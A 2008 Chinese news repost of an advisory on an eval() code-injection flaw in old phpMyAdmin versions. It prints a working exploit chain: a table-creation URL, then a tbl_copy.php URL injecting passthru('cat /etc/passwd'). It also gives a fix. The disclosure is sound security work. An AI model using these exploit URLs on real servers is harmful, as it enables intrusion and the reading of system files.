MyPhpAdmin 执行攻击者代码漏洞
http://www.jxnews.com.cn   2008-05-22 18:20   编辑: 殷冰静
 
【字体:    】 【进入论坛】 

  涉及程序: myPhpAdmin

  描述: myPhpAdmin执行攻击者任意代码漏洞利用分析

  详细: myPhpAdmin 是一个能够通过网络对MySQL数据库进行控制的软件。但是发现它存在漏洞,在脚本’tbl_copy.php’和 ’tbl_rename.php’中,存在未经检查的变量。攻击者构造一个URL传给这些脚本,能够将PHP指令插入eval()函数中,从而能以WEB服务器身份执行任意代码。

  在’tbl_copy.php’和 ’tbl_rename.php’中:

  tbl_copy.php: eval("\$message = \"$strCopyTableOK\";"); tbl_rename.php: eval("\$message = \"$strRenameTableOK\";");

  如果能够改变$strCopyTableOK或 $strRenameTableOK的内容便可能执行任意eval()代码。

  但是这样提交URL:

  http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru(’cat%20/etc/passwd’)."

  却得不到预想的结果。

  这是因为在到达eval()之前,代码便停止运行了:

  if (isset($new_name) && $new_name!=""){

  .

  $result = mysql_query($sql_structure) or mysql_die();

  .

  $result = mysql_query($query) or mysql_die();

  .

  $result = mysql_query($sql_structure) or mysql_die(); } else mysql_die($strTableEmpty);

  如果mysql_query()调用失败,mysql_die()将会被调用。

  为了使调用成功,需要一个能创建表的数据库。通过使用’tbl_create.php’能做到:

  http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy integer primary key auto_increment&submit=1

  现在可以利用’tbl_copy.php’脚本了:

  http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru(’cat%20/etc/passwd’)."

  成功了!

  受影响版本: phpMyAdmin versions <= 2.2.0rc3

  解决方案: 在’tbl_copy.php’和 ’tbl_rename.php’中注释掉有问题的eval()代码行

来源:( 安全中国 )
   
 ■ 相关新闻:..............................................
-Aruba Mobility Controller跨站脚本漏洞
-安全专家在其blog隐藏IE攻击代码
-Microsoft Publisher远程代码执行漏洞
-05.14病毒预警:“播放器漏洞下载者”利用漏洞下载病毒
-IE8将降低ActiveX安全漏洞风险
-黑客觊觎北京奥运 中国全天监控网络安全
-黑客送给希拉里的礼物—对手网站被黑
-WordPress Cookie完整性保护非授权访问漏洞
-WordPress wpSS插件ss_id参数SQL注入漏洞
-微软对DNS漏洞未予以足够的重视